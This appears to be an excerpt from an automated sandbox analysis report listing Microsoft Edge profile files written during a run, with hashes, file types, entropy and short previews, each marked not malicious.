SSDEEP:	768:Qs7JgLXd7pLGLp1TWPV1fOL8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCYCMqrwIYcqC:Qs7Jg7cp1TWPV1fOLu1jaL5MPIZq5MtX
MD5:	18A8FC58AFF9A410C6207543B51B6C71
SHA1:	1007CD9C87BB563D719EFCDE6D8D0FC69310FD18
SHA-256:	86C49415C0E1AD3763366D4AD2A3DAFC8AF8453E7E97AF0B280092CEF084B2C3
SHA-512:	06C75C760094328886A7B89BB76C7E0398E81E1FB98CF6A8B9F65465F725F566B43B83D1E9FA24B683B5B6957E7E0B46AAE71DD4AFBC353CFFA3010F0ADA840D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375870225778538","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375870225778538","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3cd63.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554662261296419
Encrypted:	false
SSDEEP:	768:Qs7JgLXd7pLGLp1TWPV1fOL8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCYCMqrwIYcqC:Qs7Jg7cp1TWPV1fOLu1jaL5MPIZq5MtX
MD5:	18A8FC58AFF9A410C6207543B51B6C71
SHA1:	1007CD9C87BB563D719EFCDE6D8D0FC69310FD18
SHA-256:	86C49415C0E1AD3763366D4AD2A3DAFC8AF8453E7E97AF0B280092CEF084B2C3
SHA-512:	06C75C760094328886A7B89BB76C7E0398E81E1FB98CF6A8B9F65465F725F566B43B83D1E9FA24B683B5B6957E7E0B46AAE71DD4AFBC353CFFA3010F0ADA840D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375870225778538","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375870225778538","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.834968589665667
Encrypted:	false
SSDEEP:	48:F2emOtrdDafBkKXrdRBHdrdDVBkbrdqBkf:F1mOtxDaGYxRBHdxDUbxtf
MD5:	38D717C688C74CD766F17CA33B08572D
SHA1:	250580963F1CD6D831D5FDEE891B5CCE2AA1AC84
SHA-256:	5BD7D6E1D690135621837F2813C4D5DA705B1BECDE30AFE3B7482DAAC9A5ECC3
SHA-512:	D0A8F212062ABFD971252DFDA20ABF00062FC1B268A37764EA7FEBD329DAAB833A74BB9901C57EBB6557B021D1B5E3CEDC4DF33AB9A3B7D6BDB586C62BE419D6
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2X.m?m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.160145842064993
Encrypted:	false
SSDEEP:	6:HU4uoRXp1923oH+TcwtE/a252KLlVU4uoRH/t+q2P923oH+TcwtE/a2ZIFUv:fUYeb8xLXHAv4Yeb8J2FUv
MD5:	459DBAA3C7E83DAF5EEEF834D42E3D3A
SHA1:	AE4F60FB33A1D2E85627A624F215D99C0341AA6E
SHA-256:	1C4B53304CC0CAF57E5CF38198D1FF214239B88A0B0FEFDF1190A5C2215E6F85
SHA-512:	94FD392BAE05F63B63FBC50102CC6457183ED96801ADDD7D575CFFEA68C0B5245442DC57440029D9C02EA57EA756BC420A2D07D0E2523167AEBF0151C9635152
Malicious:	false
Preview:	2024/11/12-02:30:36.411 1d58 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/12-02:30:36.422 1d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113657
Entropy (8bit):	5.58055682522735
Encrypted:	false
SSDEEP:	3072:f9LyxPXfOrr1lMe1z6rWX1Qs2iL/HL/3WF:11l/EWX6gL/HL/g
MD5:	1E16AE8EEE562D4FAAC83F98916CCCAC
SHA1:	898C41C7EB40085DEA00129628C725A39BAC46DA
SHA-256:	FFE5B4AD3D324150B663395C11DC6DFEF64617DD36122F387E71DFBA900123B0
SHA-512:	296A673986E7BAF710319D8F016F6C51CC4F67FEAF377F004954C9905808C214454CB521CE6CEA99560F2C4FD68F8DB431F3F249B28A7F91E0F30B6863C728C1
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187817
Entropy (8bit):	6.380982837131016
Encrypted:	false
SSDEEP:	3072:UQVb/qofGqWwASfEs9MEn2SSZecsvoPGcInUH1QL/UtyNoC4v9:jWw99t7Pcq2G7PL/E44v9
MD5:	778D1DD1B6087095FB3642B1CC36C2EF
SHA1:	54B32D81F3F7BA41E05B127EDC566E127324868A
SHA-256:	60E97423DD042AAE8E9045B38208B0ACF1628A7C39112786C9F60FF6CAE75C3F
SHA-512:	FD8BD3F701A8D43E5BBD4D8803489069AB7015D1494059AB7B5222FF0B37088D2E321BAF7FDE40717B3C63C856F7CC229EACBBB58727E39B03F58A33F880B5BD
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.P........,T.8..`,.....L`.....,T...`......L`......Rc.$K.....exports...Rc.l......module....Rc........define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....Db...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:VqnPyXl/lrV/lxEYzuH:AnPK6rH
MD5:	730AB9AD511A2FE8E6704427215F463B
SHA1:	E6993C59C13C20F03328A99F03DF0FDF24981DBD
SHA-256:	74FE97000F2854BD227DF0B5F10F5A7694CDE5E4D01703122AF57F6C5AD912E4
SHA-512:	8F4206DBA6E781D4460DC1EB32785F6A6147CD5D6E2F9C51D7062252729DDC9E2959A707D8BF7CBB1043D4F93F5920EACD8B51D4E894E5D1F5058B839CE6DF1F
Malicious:	false
Preview:	@......oy retne.........................X....,................9..zH./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:VqnPyXl/lrV/lxEYzuH:AnPK6rH
MD5:	730AB9AD511A2FE8E6704427215F463B
SHA1:	E6993C59C13C20F03328A99F03DF0FDF24981DBD
SHA-256:	74FE97000F2854BD227DF0B5F10F5A7694CDE5E4D01703122AF57F6C5AD912E4
SHA-512:	8F4206DBA6E781D4460DC1EB32785F6A6147CD5D6E2F9C51D7062252729DDC9E2959A707D8BF7CBB1043D4F93F5920EACD8B51D4E894E5D1F5058B839CE6DF1F
Malicious:	false
Preview:	@......oy retne.........................X....,................9..zH./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3f29e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:VqnPyXl/lrV/lxEYzuH:AnPK6rH
MD5:	730AB9AD511A2FE8E6704427215F463B
SHA1:	E6993C59C13C20F03328A99F03DF0FDF24981DBD
SHA-256:	74FE97000F2854BD227DF0B5F10F5A7694CDE5E4D01703122AF57F6C5AD912E4
SHA-512:	8F4206DBA6E781D4460DC1EB32785F6A6147CD5D6E2F9C51D7062252729DDC9E2959A707D8BF7CBB1043D4F93F5920EACD8B51D4E894E5D1F5058B839CE6DF1F
Malicious:	false
Preview:	@......oy retne.........................X....,................9..zH./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5009
Entropy (8bit):	3.448860785098201
Encrypted:	false
SSDEEP:	96:5KcDwOC62Shg8ueuwZa9Xp+R+qiil5SLl9iSrY11IzvhVFCTAnj6:vDwtyuhZ9Xp+R9ie5SLl9iSrYQrhWej6
MD5:	5020F3F19C9E5E73C107708CF29CC601
SHA1:	AAB650198B684079404F51D270E94FDA589C7437
SHA-256:	AE686123D11B8457DE306365DA2C43B02DB57CA33675383F53304B87BBAAA5DB
SHA-512:	1EDE17F82E7AAEA794482A6A357D74A4882A353B290EDB2DF20EBB491C1E3D0740303B8A80F47FFDC22BF3D0FF4D4AAC3C491B90D09A44C729CEB1E097535273
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............,#v.b................next-map-id.1.Cnamespace-251f3fbb_93ea_4e4a_8801_e4c906755625-https://ntp.msn.com/.0.t.L................map-0-shd_sweeper.${.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.s.t.c.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.a.d.s.-.m.g.-.c.b.4.2.-.9.5.0.,.a.d.s.-.c.b.v.4.2.-.9.5.0.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.1.s.w.-.s.a.q.e.n.r.e.s.c.b.t.3.,.p.r.g.-.1.s.w.-.s.a.l.2.e.d.g.e.f.e.l.t.2.,.p.r.g.-.1.s.w.-.c.t.a.d.d.d.b.g.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.r.o.u.t.e.r.g.r.a.p.h.p.r.o.d.,.p.r.g.-.a.d.s.p.e.e.k.,.t.r.a.f.f.i.c.-.p.r.2.-.t.s.k.b.-.c.a.r.-.c.f.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.p.r.g.-.p.r.2.-.t.r.d.i.s.c.h.i.2.,.p.r.g.-.p.r.2.-.t.r.d.i.s.c.h.i.,.1.s.-.f.c.r.y.p.t.,.1.s.-.p.r.o.n.g.1.-.s.e.r.p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.099658182591819
Encrypted:	false
SSDEEP:	6:HU4udwiROq2P923oH+TcwtrQMxIFUt8YU4udwaP4ZZmw+YU4udwBzkwO923oH+Tv:5/v4YebCFUt8EaP4Z/+Eh5LYebtJ
MD5:	B698B05331B19F0100A41EF6C2EE8C64
SHA1:	40C27539DB4D86FB2899ACDDD148B9450C10CCAB
SHA-256:	046E0E80450085B6D758BEA7DE19C4913258991246A36786D912020272B88438
SHA-512:	4F85780CBC959B5702BD779AFDC96382B1140DB0F92901280E6E80A6F9437561EE60677CAF166CF84D6CF1C87E54C17144591D627973B56AA6262FFC46423741
Malicious:	false
Preview:	2024/11/12-02:30:26.537 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-02:30:26.538 1e14 Recovering log #3.2024/11/12-02:30:26.541 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.099658182591819
Encrypted:	false
SSDEEP:	6:HU4udwiROq2P923oH+TcwtrQMxIFUt8YU4udwaP4ZZmw+YU4udwBzkwO923oH+Tv:5/v4YebCFUt8EaP4Z/+Eh5LYebtJ
MD5:	B698B05331B19F0100A41EF6C2EE8C64
SHA1:	40C27539DB4D86FB2899ACDDD148B9450C10CCAB
SHA-256:	046E0E80450085B6D758BEA7DE19C4913258991246A36786D912020272B88438
SHA-512:	4F85780CBC959B5702BD779AFDC96382B1140DB0F92901280E6E80A6F9437561EE60677CAF166CF84D6CF1C87E54C17144591D627973B56AA6262FFC46423741
Malicious:	false
Preview:	2024/11/12-02:30:26.537 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-02:30:26.538 1e14 Recovering log #3.2024/11/12-02:30:26.541 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375870228296085

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.841933475007424
Encrypted:	false
SSDEEP:	24:34tS/flX2gb1EXnb4QoyecX4cgipsAF4unxt4tLp3X2amEtG1Chq/0DAoe6IYQKv:3paUQoY3zFoLp2FEkChLe5HOp88
MD5:	6205CF1D8FD37E8C6A9AEC553DB5D458
SHA1:	71DD192DE5DBA89FDDF499FCE3CE39E0B12EC111
SHA-256:	4FFDCDA499BC4742D85305DEEAC15E7FC6A1229E94DDCA9F072DC1793AFCA61E
SHA-512:	7C03B0988B5A49EE65E05AA53548B4FA88183E9F3574362902ABC78345A6D3907CEBD62C3B8AA08384E7E2B4250211512178159521F3DF37F536A7E370A941C7
Malicious:	false
Preview:	SNSS........Uj............Uj......".Uj............Uj........Uj........Uj........Uj....!...Uj................................Uj.Uj1..,....Uj$...251f3fbb_93ea_4e4a_8801_e4c906755625....Uj........Uj....K...........Uj....Uj........................Uj....................5..0....Uj&...{98952893-68FF-4A5D-A164-705C709ED3DB}......Uj........Uj........................Uj............Uj........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x..........0.&.....0.&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.147774179925825
Encrypted:	false
SSDEEP:	6:HU4udSXyQ+q2P923oH+Tcwt7Uh2ghZIFUt8YU4udSjUygZmw+YU4udSjUyQVkwOZ:NXuv4YebIhHh2FUt8ujC/+uju5LYebIT
MD5:	D36ECA75B9733F8D86BBD4495BC3347B
SHA1:	4F9706E79AEC26CA2DB949D0FDE069DDD6B735D2
SHA-256:	13A9BEFF233E6A84C9DF1584119FAC0D3B181D64FA91FA34DA59BA971C62722D
SHA-512:	343781D098C0D1E124531B626A12278116C644E91DA5D47D3C06DD7A1370DD449FEE4DB4E71AF484F8F869439E78E96619A83B29BC93525A2407EEE1133C549A
Malicious:	false
Preview:	2024/11/12-02:30:25.843 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-02:30:25.844 1d68 Recovering log #3.2024/11/12-02:30:25.844 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.147774179925825
Encrypted:	false
SSDEEP:	6:HU4udSXyQ+q2P923oH+Tcwt7Uh2ghZIFUt8YU4udSjUygZmw+YU4udSjUyQVkwOZ:NXuv4YebIhHh2FUt8ujC/+uju5LYebIT
MD5:	D36ECA75B9733F8D86BBD4495BC3347B
SHA1:	4F9706E79AEC26CA2DB949D0FDE069DDD6B735D2
SHA-256:	13A9BEFF233E6A84C9DF1584119FAC0D3B181D64FA91FA34DA59BA971C62722D
SHA-512:	343781D098C0D1E124531B626A12278116C644E91DA5D47D3C06DD7A1370DD449FEE4DB4E71AF484F8F869439E78E96619A83B29BC93525A2407EEE1133C549A
Malicious:	false
Preview:	2024/11/12-02:30:25.843 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-02:30:25.844 1d68 Recovering log #3.2024/11/12-02:30:25.844 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.218459358756573
Encrypted:	false
SSDEEP:	12:5evIv4YebvqBQFUt8EI/+EB5LYebvqBvJ:k64YebvZg8DLYebvk
MD5:	243E857A6E047A5EED1814EDE2D26E9A
SHA1:	7A6EEC05D48FE0D9512881C6AA5E5731105D2E7C
SHA-256:	2B4B1A80193833C178B11204112F1082E642583F84125DB3242B9A6B27D69E47
SHA-512:	E9BCF587162F32746A1562E9ED9971198D3C89FB00192AE916A1658FE9BCDC16FCA10434401D81B6BDCB600BE14AAA3DDDF1ED603FAE30D1E0B3B14B9C248ECC
Malicious:	false
